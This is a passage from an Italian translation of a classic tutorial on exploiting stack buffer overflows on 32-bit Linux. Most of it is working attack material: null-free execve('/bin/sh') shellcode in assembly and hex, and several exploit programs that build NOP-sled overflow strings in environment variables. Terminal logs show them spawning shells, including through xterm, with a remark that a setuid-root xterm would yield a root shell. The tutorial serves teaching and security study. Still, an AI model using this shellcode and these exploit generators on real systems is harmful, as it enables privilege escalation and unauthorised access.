$0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Sembra buono. Per assicurarci che funzioni correttamente dobbiamo compilarlo ed eseguirlo. Ma c'è un problema. Il nostro codice si modifica da se, ma la maggior parte dei sistemi operativi contrassegna le pagine di codice in sola lettura. Per evitare questa restrizione dobbiamo mettere il codice che vogliamo eseguire nello stack o in segmenti di dati, e trasferire il controllo ad esso. Per fare ciò metteremo il nostro codice in un array globale nel segmento di dati. Abbiamo bisogno prima della rappresentazione esadecimale del codice binario. Compiliamolo prima e poi usiamo gdb per ottenerlo. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ Funziona! Ma c'è un ostacolo. Nella maggior parte dei casi dobbiamo riempire un buffer di caratteri. Dato che ogni byte nullo nel nostro shell code indicherà la fine della stringa, la copia verrà terminata. Non ci devono essere bytes nulli nello shell code per far in modo che l'exploit funzioni. Cerchiamo di eliminare i bytes (e allo stesso tempo renderlo più piccolo). Istruzione: Sostituzione: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Il nostro codice migliorato: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ E il nostro nuovo programma di test: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ Scrivere un Exploit ~~~~~~~~~~~~~~~~~~~ Cerchiamo di mettere tutti i nostri pezzi insieme. Abbiamo lo shellcode. Sappiamo che deve far parte della stringa che useremo per riempire il buffer. Sappiamo che dobbiamo puntare l'indirizzo di ritorno nel buffer. Questo esempio dimostrerà questi punti. overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ Quello che abbiamo fatto è stat oriempire l'array large_string[] con l'indirizzo di buffer[], che è dove si trova il nostro codice. Poi copiamo il nostro shellcode all'inizio della stringa large_string. strcpy() copierà poi large_string nel buffer senza fare alcun controllo, e riempirà l'indirizzo di ritorno, sovrascrivendolo con l'indirizzo dove il nostro codice è ora allocato. Una volta che Una volta che terminiamo il main e cerchiamo di tornare, verrà eseguita una shell. Il problema che dobbiamo affrontare quando cerchiamo di riempire il buffer di un altro programma è cercare di capire a quale indirizzo starà il buffer (e quindi il nostro codice). La risposta è che per ogni programma lo stack comincerà allo stesso indirizzo. La maggior parte dei programmi non inseriscono più di poche centinaia o migliaia di bytes nello stack ogni volta. Conoscendo dove comincia lo stack possiamo cercare di indovinare dove sarà il buffer che stiamo cercando di riempire. Ecco un piccolo programma che stamperà lo stack pointer: sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Assumiamo che questo è il programma che vogliamo exploitare: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ Possiamo creare un programma che prende come parametro una grandezza di buffer e un offset dal suo stack pointer (dove crediamo che stia il buffer che vogliamo riempire). Metteremo la stringa di overflow in una variabile così sarà facile manipolarla: exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Ora possiamo cercare di indovinare dove dovrebbero stare il buffer e l'offset. ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Come possiamo vedere questo non è un processo efficiente. Cercare di indovinare l'offset anche se conosciamo l'inizio dello stack è pressochè impossibile. Avremo bisogno di centinaia di tentativi, e nella peggiore delle ipotesi anke migliaia. Il problema è che abbiamo bisogno di sapere esattamente dove l'indirizzo del nostro codice comincia. Un modo per far aumentare le nostre possibilità è di imbottire il nostro buffer overflow con istruzioni NOP. La maggior parte dei processori hanno un'istruzione NOP che esegue un'operazione nulla. E' usata spesso per staccare le esecuzioni per motivi di tempo. Trarremo vantaggio da essa e riempiremo la metà del nostro overflow con essa. Metteremo il nostro shellcode al centro, e poi lo faremo seguire con gli indirizzi di ritorno. Se siamo fortunati e l'indirizzo punta da qualche parte nella stringa dei NOP, essi verranno eseguiti finchè ci sarà il nostro codice. Nell'architettura Intel l'istruzione NOP è lunga un byte e traduce a 0x90 in codice macchina. Assumendo che lo stack comincia all'indirizzo 0xFF, che S sta per lo shellcode, e che N sta per l'istruzione NOP, il nuovo stack sarà qualcosa del genere: base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| cima dello base dello stack stack Il nuovo exploit sarà quindi: exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Una buona selezione del nostro buffer size è circa 100 byte in più rispetto alla dimensione del buffer che stiamo cercando di riempire. Questo prenderà il posto del nostro codice alla fine del buffer che stiamo cercando di riempire, dando molto spazio per i NOP, ma anche sovrascrivendo l'indirizzo di ritorno con l'indirizzo che abbiamo indovinato. Il buffer che stiamo cercando di sfruttare è lungo 512 bytes, così useremo 612. Cerchiamo di exploitare il nostro programma di test con il nuovo exploit: ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Wow! Al primo tentativo! Questa modifica ha migliorato le nostre possibilità di gran lunga. Proviamolo in un vero caso di buffer overflow. Per il nostro esempio, useremo xterm (tutti i programmi collegati alla libreria Xt sono vulnerabili). Devi avere in esecuzione un server X e permettere connessioni a esso dal localhost. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤ ¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ÿ¿¤¤ ^C [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/sh¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H ¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿ H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ¿H¤ÿ Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit . . . [aleph1]$ ./exploit4 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1¤FF ° óV ¤1¤Ø@¤èÜÿÿÿ/bin/shûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tû ÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿T ûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿ Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ¿Tûÿ Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka! Meno di una dozzina di tentativi e abbiamo trovato i numeri magici. Se xterm è installato comesuid root avreo una shell root. Piccolo Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~ Ci saranno volte che quando il buffer che stai cercando di riempire è talmente tanto piccolo che lo shellcode non entrerà in esso, e sovrascriverà l'indirizzo di ritorno con le istruzioni al posto dell'indirizzo del nostro codice, o il numero dei NOP che puoi inserire davanti alla stringa è talmente piccolo che le possibilità di indovinare l'indirizzo sono minuscole. Per ottenere una shell da questi programmi useremo un altro modo. Questo approccio particolare funziona solo quando hai accesso alle variabili d'ambiente del programma. Quello che faremo è mettere il nostro shellcode in una variabile d'ambiente, e poi riempire il buffer con l'indirizzo di questa variabile in memoria. Le variabili d'ambiente sono memorizzate in cima allo stack quando il programma viene eseguito, e ogni mofifica fatta da setenv() è allocata altrove. Lo stack all'inizio è una cosa del genere: NULLNULL Il nostro nuovo programma avrà una variabile in più, la dimensione della variabile contenente lo shellcode e i NOP. Il nostro nuovo exploit sarà: exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Proviamo il nostro exploit con il nostro programma di test: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Funziona. Proviamolo con xterm: ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name 